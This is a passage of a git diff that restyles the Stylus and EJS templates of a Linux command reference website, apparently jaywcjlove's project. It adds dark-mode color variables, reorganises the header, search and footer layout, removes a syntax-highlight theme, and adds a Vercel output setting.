include('header',{src:""}); %> -<%- include('search',{type: "list"}); %> - +<%- include('partial/header'); %> +<%- include('widget/search',{type: "list"}); %>
    logo Linux Command Logo. https://github.com/jaywcjlove - \ No newline at end of file diff --git a/template/styl/index.styl b/template/styl/index.styl index f4a0d2212f7..5f5acde1a7c 100644 --- a/template/styl/index.styl +++ b/template/styl/index.styl @@ -1,314 +1,329 @@ @import('mixins/reset.styl') -@import('mixins/highlight.styl') @import('mixins/markdown.styl') mq-mobile = "screen and (max-width: 479px)" -a.github-corner { - position fixed - z-index 9999 - top 0 - right 0 - &:hover{ - .octo-arm{ - animation:octocat-wave 560ms ease-in-out - } - } - svg{ - fill #f1f1f1 - color #000 - position absolute - top 0 - border 0 - right 0 - z-index 99 - width 70px - height 70px - } +[data-color-mode*='dark'], [data-color-mode*='dark'] body { + color-scheme: dark; + --color-header-bg: #3a3a3a8f; + --color-header-border: #323232; + --color-hover: #ffffff30; } -a{ - transition: all .2s ease-in +[data-color-mode*='light'], [data-color-mode*='light'] body { + color-scheme: light; + --color-header-bg: #ffffff52; + --color-header-border: #d3d3d3; + --color-hover: #f2f2f2; } -@keyframes octocat-wave{ - 0%,100%{-webkit-transform:rotate(0);transform:rotate(0)} - 20%,60%{-webkit-transform:rotate(-25deg);transform:rotate(-25deg)} - 40%,80%{-webkit-transform:rotate(10deg);transform:rotate(10deg)} +.warpper { + min-height: 100vh; + display: flex; + flex-direction: column; + justify-content: center; + .footer { + padding-bottom: 280px; + } } -.header{ - width 517px - margin 0 auto 0 - padding 0 10px - .logo{ - text-align center - padding-top 50px - padding-bottom 50px +.header { + width 517px + margin 0 auto 0 + padding 0 10px + .logo a { + display flex + color: currentColor; + } + .box { + position relative + } + .search { + min-height 20px + position relative + display table + border-collapse separate + li,ul { + list-style none } - .box{ - position relative + #result { + .ok { + background:#f4f4f4; + } } - .search{ - min-height 20px - position relative - display table - border-collapse separate - li,ul{ - list-style none + .search-list { + position absolute + display none + z-index 999 + box-shadow 1px 1px 3px var(--color-theme-bg) + border 1px solid var(--color-header-border) + background var(--color-theme-bg) + min-width 100px + top 39px + width 100% + padding 5px + border-radius 5px 5px 5px 5px + li { + line-height 23px + span{ + padding 0 8px + color #b9b9b9 } - #result{ - .ok{ - background:#f4f4f4; - } + } + a { + display block + padding 2px 6px 2px 6px + &:hover { + background-color var(--color-hover) } - .search-list{ - position absolute - display none - z-index 999 - box-shadow 1px 1px 3px #ededed - border 1px solid #d5d5d5 - background #fff - min-width 100px - top 39px - width 100% - padding 5px - border-radius 5px 5px 5px 5px - li{ - line-height 23px - span{ - padding 0 8px - color #b9b9b9 - } - } - a{ - display block - padding 2px 6px 2px 6px - color #555555 - &:hover{ - background-color #f2f2f2 - } - .kw{ - color #f00 - font-style inherit - font-weight bold - } - } + .kw { + color #f00 + font-style inherit + font-weight bold } - .query,.enter-input{ - display table-cell - transition border-color ease-in-out 0.15s, box-shadow ease-in-out 0.15s + } + } + .query, .enter-input { + display table-cell + transition border-color ease-in-out 0.15s, box-shadow ease-in-out 0.15s + } + .query { + resize: none; + position relative + z-index 2 + width 100% + height 40px + padding 6px 12px + font-size 14px + font-weight bold + line-height 1.42857143 + background-color: transparent; + background-image none + border 1px solid $border-color + border-radius 5px 0 0 5px + -webkit-appearance: none; + &:focus { + z-index 99 + border-color #66afe9 + outline 0 + box-shadow inset 0 1px 1px rgba(0,0,0,0.075),0 0 8px rgba(102,175,233,0.6) + } + } + .enter-input { + white-space nowrap + button { + margin 0 + left -1px + position relative + z-index 5 + display inline-block + padding 9px 23px + font-size 14px + font-weight bold + line-height 1.42857143 + text-align center + text-rendering auto + white-space nowrap + vertical-align middle + touch-action manipulation + cursor pointer + user-select none + background-image none + border 1px solid transparent + border-collapse separate + border-radius 0 5px 5px 0 + border-color $border-color + &:focus,&:active:focus { + outline thin dotted + outline 5px auto -webkit-focus-ring-color + outline-offset -2px + } + &:active { + color #333 + background-color #e6e6e6 + border-color #b4b4b4 + background-image none + box-shadow inset 0 8px 32px -8px rgba(0,0,0,0.3) } - .query{ - resize: none; - position relative - z-index 2 - width 100% - height 40px - padding 6px 12px - font-size 14px - font-weight bold - line-height 1.42857143 - color #555 - background-color #fff - background-image none - border 1px solid $border-color - border-radius 5px 0 0 5px - -webkit-appearance: none; - &:focus{ - z-index 99 - border-color #66afe9 - outline 0 - box-shadow inset 0 1px 1px rgba(0,0,0,0.075),0 0 8px rgba(102,175,233,0.6) - } + &:focus { + color #333 + background-color #e6e6e6 + border-color #999 + text-decoration none } - .enter-input{ - width 1% - white-space nowrap - vertical-align middle - button{ - margin 0 - left -1px - position relative - z-index 5 - display inline-block - padding 9px 23px - font-size 14px - font-weight bold - line-height 1.42857143 - text-align center - text-rendering auto - white-space nowrap - vertical-align middle - touch-action manipulation - cursor pointer - user-select none - background-image none - background-color #fff - border 1px solid transparent - border-collapse separate - border-radius 0 5px 5px 0 - border-color $border-color - color #333 - &:focus,&:active:focus{ - outline thin dotted - outline 5px auto -webkit-focus-ring-color - outline-offset -2px - } - &:active{ - color #333 - background-color #e6e6e6 - border-color #b4b4b4 - background-image none - box-shadow inset 0 8px 32px -8px rgba(0,0,0,0.3) - } - &:focus{ - color #333 - background-color #e6e6e6 - border-color #999 - text-decoration none - } - &:hover{ - color #333 - background-color #e6e6e6 - border-color #b4b4b4 - } - } + &:hover { + color #333 + background-color #e6e6e6 + border-color #b4b4b4 } + } } + } } -.footer{ - text-align center - padding-top 31px - color #616161 - font-size 14px - font-weight 300 - border-top: 1px solid #efefef; - padding-bottom: 50px; - &.footer_index { - border-top: 0 - } +.footer { + text-align center + padding-top 31px + font-size 14px + font-weight 300 + border-top 1px solid var(--color-header-border) + padding-bottom 50px; + padding 31px 6px 50px 6px + &.home { + border-top 0 + } + div { + font-size 12px + } +} +.header.home { + .header_inner { + display flex + flex-direction column + align-items center + } + .logo { + min-height 140px + display flex + align-items center + } + .search { + display flex + min-width 320px + } } +.header.header_list { + width auto + position fixed + width 100% + background var(--color-theme-bg) + backdrop-filter saturate(180%) blur(0.4rem) + background-color var(--color-header-bg) + z-index 99 +} -.header.header_list{ - width auto - position fixed - width 100% - background #fff - z-index 99 +.header_list { + padding 10px 10px 10px 13px + border-bottom 1px solid var(--color-header-border) + .logo { + padding-right 24px + text-align left + svg { + height 37px + width 136px + } + } } -.header_list{ - padding 10px 10px 10px 13px - border-bottom 1px solid #EEEEEE - .logo{ - float left - padding-top 3px - padding-bottom 0 - padding-right 24px - text-align left - svg{ - height 37px - width 136px - } +.search_list { + padding 79px 27px + a { + font-size 16px + strong { + font-weight bold } - .search{ - max-width 517px + .kw { + color #f00 + font-style inherit + font-weight bold } - .footer{ - display none + &:hover { + .kw { + color #333 + } } + } + li { + padding 10px 0 10px 0 + list-style-type none + p { + padding-top 5px + color #4F4F4F + } + } } -.search_list{ - padding 79px 27px - a{ - font-size 16px - strong{ - font-weight bold - } - .kw{ - color #f00 - font-style inherit - font-weight bold - } - &:hover{ - .kw{ - color #333 - } - } +.hotlist { + padding 79px 27px + a { + font-size 16px + strong { + font-weight bold } - li{ - padding 10px 0 10px 0 - list-style-type none - p{ - padding-top 5px - color #4F4F4F - } + } + li { + padding 5px 0 5px 0 + list-style-type none + p{ + padding-top 5px + color #4F4F4F } - + } } -.hotlist{ - padding 79px 27px - a{ - font-size 16px - strong{ - font-weight bold - } - &:hover{ - } - } - li{ - padding 5px 0 5px 0 - list-style-type none - p{ - padding-top 5px - color #4F4F4F - } - } +.header_list .header_inner { + display: flex; + align-items: center; + .search { + flex: 1; + display: flex; + } +} +.header_inner, .hotlist, .search_list, .contributors { + max-width 920px + margin 0 auto } +.contributors { + padding 79px 27px + max-width: 960px; + font-family: -apple-system,BlinkMacSystemFont,"Segoe UI",Helvetica,Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji"; + font-size: 16px; + line-height: 1.5; + word-wrap: break-word; + a { + font-weight: bold; + } + .links { + display: inline-flex; + flex-wrap: wrap; + } + .links a { + background: var(--color-theme-bg); + height: 2.1rem; + border-radius: 0.3rem; + gap: 0.1rem; + padding: 0rem 0.5rem 0rem 0.4rem; + } +} -@media mq-mobile{ - .header{ - width inherit - .search .enter-input { - button{ - padding: 9px 14px; - } - } - } - .header_list{ - .logo svg{ - width 96px - } - .search { - .query{ - line-height 31px - } - } +@media mq-mobile { + .header{ + width inherit + .search .enter-input { + button { + padding 9px 14px + } } - .header_list .logo{ - float inherit - padding-right 10px - padding-top 8px - padding-bottom 14px - text-align center + } + .header_list { + padding: 10px 10px 10px 13px + .logo { + float inherit + padding-right 10px + text-align center } - div.markdown-body{ - padding: 10px 10px 10px 13px; + .logo svg { + width 96px } - div.markdown-body .edit_btn + *{ - margin-top: 0 !important; - } - div.markdown-body .edit_btn{ - top: 9px; - a{ - background #f1f1f1 - color #a3a3a3 - } + .search { + .query { + line-height 31px + } } + } + .search_list, .hotlist { + padding 78px 27px + } } \ No newline at end of file diff --git a/template/styl/mixins/highlight.styl b/template/styl/mixins/highlight.styl deleted file mode 100644 index d3a46694977..00000000000 --- a/template/styl/mixins/highlight.styl +++ /dev/null @@ -1,53 +0,0 @@ -.hljs{ - display:block;overflow-x:auto;padding:0.5em;color:#333;background:#f8f8f8 -} -.hljs-quote{ - font-style:italic; -} -.hljs-comment,.hljs-quote{ - color:#998; -} -.hljs-keyword,.hljs-selector-tag,.hljs-subst{ - color:#333;font-weight:bold -} -.hljs-number,.hljs-literal,.hljs-variable,.hljs-template-variable,.hljs-tag .hljs-attr{ - color:#008080 -} -.hljs-string,.hljs-doctag{ - color:#d14 -} -.hljs-title,.hljs-section,.hljs-selector-id{ - color:#900;font-weight:bold -} -.hljs-subst{ - font-weight:normal -} -.hljs-type,.hljs-class .hljs-title{ - color:#458;font-weight:bold -} -.hljs-tag,.hljs-name,.hljs-attribute{ - color:#000080;font-weight:normal -} -.hljs-regexp,.hljs-link{ - color:#009926 -} -.hljs-symbol,.hljs-bullet{ - color:#990073 -} -.hljs-built_in,.hljs-builtin-name{ - color:#0086b3 -} -.hljs-meta{ - color:#999;font-weight:bold -} -.hljs-deletion{ - background:#fdd -} -.hljs-addition{ - background:#dfd -} -.hljs-emphasis{ - font-style:italic -} -.hljs-strong{ - font-weight:bold} \ No newline at end of file diff --git a/template/styl/mixins/markdown.styl b/template/styl/mixins/markdown.styl index 925bcd9dcf0..fb49e058e18 100644 --- a/template/styl/mixins/markdown.styl +++ b/template/styl/mixins/markdown.styl @@ -1,164 +1,47 @@ +mq-mobile = "screen and (max-width: 479px)" -div.markdown-body - .edit_btn{ - position relative - right 0 - float right - top 48px - z-index 2 - .split{ - display inline-block - height 13px - vertical-align middle - width 1px - border-left 1px solid #dfdfdf - margin -1px 0 0 0 - } - a{ - text-decoration none - background #2196F3 - color #fff - border-radius 3px - padding 2px 5px - &:hover{ - color #333 - background #e6e6e6 - } - } +.markdown-body .edit_btn { + position relative + right 20px + float right + top 16px + z-index 2 + font-size: 14px; + @media mq-mobile { + right 15px + } + .split { + display inline-block + height 13px + vertical-align middle + width 1px + margin -1px 0 0 0 + } + a { + text-decoration none + background #2196F3 + color #fff + border-radius 3px + padding 2px 5px + &:hover { + color #333 + background #e6e6e6 } - padding 70px 35px 30px 35px - word-wrap break-word - font-family "Helvetica Neue", Helvetica, "Segoe UI", Arial, freesans, sans-serif - font-size 14px - line-height 1.6 - color #333 - @media mq-mobile - padding-right 0 - &>*:first-child - margin-top 0 !important - strong - font-weight bold - hr - border-top 1px solid #CACACA - border-width 1px 0 0 0 - em - font-style italic - img - max-width 100% - h1,h2,h3,h4,h5,h6 - position relative - margin-top 1em - margin-bottom 16px - font-weight bold - line-height 1.4 - a - display none - &:hover a - display inline - color #000 - font-size 85% - h1,h2 - border-bottom 1px solid #eee - h1 - font-size 2.25em - line-height 1.2 - padding-bottom 0.3em - h2 - padding-bottom 0.3em - font-size 1.50em - line-height 1.225 - // border-bottom:1px solid #DEDEDE - blockquote - padding 0 15px - color #777 - border-left 4px solid #ddd - margin 0; - &>:last-child - margin-bottom 0 - &>:first-child - margin-top 0 - p,blockquote,ul,ol,dl,table,pre - margin-top 0; - margin-bottom 16px - ul,ol - padding-left 1.4em - list-style:initial - ol - list-style-type decimal - ol ol, ul ol - list-style-type lower-roman - ul ul ol, ul ol ol, ol ul ol, ol ol ol - list-style-type lower-alpha - pre - margin-top: 1.5em - margin-bottom: 1.5em - line-height: 1.3 - word-break: break-all - word-wrap: break-word - color: rgb(51, 51, 51) - border: none - position: relative - background-color #f7f7f9 - border-radius 3px - font "Source Code Pro", Consolas, Menlo, Monaco, "Courier New", monospace - font-size 0.93em - -webkit-overflow-scrolling touch - code - padding: 0.7em - overflow: auto - max-height: 35em - background-color transparent - color inherit - line-height 1.4 - display block - font-size 0.93em - box-sizing: border-box - border-radius: 0px - white-space: inherit - overflow-wrap: normal - word-wrap:normal!important - font: 12px "SFMono-Regular", Consolas, "Liberation Mono", Menlo, Courier, monospace; - // code:before,code:after,tt:before,tt:after - // letter-spacing 0 - // content "" - code,tt - padding 0 - padding-bottom 2px - margin 0 3px - vertical-align top - background-color #EDEDF7 - border-radius 4px - padding-left 3px - padding-right 3px - font-size 14px - color #6F5990 - padding-top 2px - // code:before,code:after,tt:before,tt:after - // content "\00a0" - // vertical-align text-top - // display inline-block - // width 0px - table - width 100% - border-collapse collapse - border-spacing 0 - max-width 100% - display block - background-color transparent - th,td - border 1px solid #ddd - padding 4px 10px - th - font-weight bold - background #F3F3F3 - tr:nth-child(2n) - background-color #f8f8f8 - tbody - background #fff + } +} -// markdown 增强样式 -.markdown-body - .task-list-item - padding 0 - li - list-style-type none \ No newline at end of file +.markdown-body .markdown-body { + padding-top: 0 !important; + padding-left: 0 !important; + padding-right: 0 !important; +} + +.markdown-body { + margin: 0 auto 0 auto; + margin-top: 0 !important; + padding 90px 35px 30px 35px + max-width 980px + @media mq-mobile { + padding: 70px 15px 30px 15px; + } +} diff --git a/template/styl/mixins/reset.styl b/template/styl/mixins/reset.styl index 56f43e43945..125f784950f 100644 --- a/template/styl/mixins/reset.styl +++ b/template/styl/mixins/reset.styl @@ -1,22 +1,19 @@ -body,html,ul,li,p{ - margin 0 - padding 0 +body,html,ul,li,p { + margin 0 + padding 0 } -body,html{ - font-size 12px - font-family 'HanHei SC','PingFang SC','Helvetica Neue','Helvetica','STHeitiSC-Light','Arial',sans-serif +body,html { + font-size 12px + font-family 'HanHei SC','PingFang SC','Helvetica Neue','Helvetica','STHeitiSC-Light','Arial',sans-serif } -html{ - -webkit-tap-highlight-color rgba(0,0,0,0) +html { + -webkit-tap-highlight-color rgba(0,0,0,0) } a { - text-decoration none - &:hover{ - color #333 - } + text-decoration none } * { - box-sizing border-box + box-sizing border-box } -$border-color = #D5D5D5 \ No newline at end of file +$border-color = #8f8f8f7a \ No newline at end of file diff --git a/template/widget/footer.ejs b/template/widget/footer.ejs new file mode 100644 index 00000000000..9da12da4d87 --- /dev/null +++ b/template/widget/footer.ejs @@ -0,0 +1,26 @@ + + \ No newline at end of file diff --git a/template/widget/search.ejs b/template/widget/search.ejs new file mode 100644 index 00000000000..35a8b55c5db --- /dev/null +++ b/template/widget/search.ejs @@ -0,0 +1,20 @@ + + \ No newline at end of file diff --git a/vercel.json b/vercel.json new file mode 100644 index 00000000000..2f553695681 --- /dev/null +++ b/vercel.json @@ -0,0 +1,3 @@ +{ + "outputDirectory": ".deploy" +}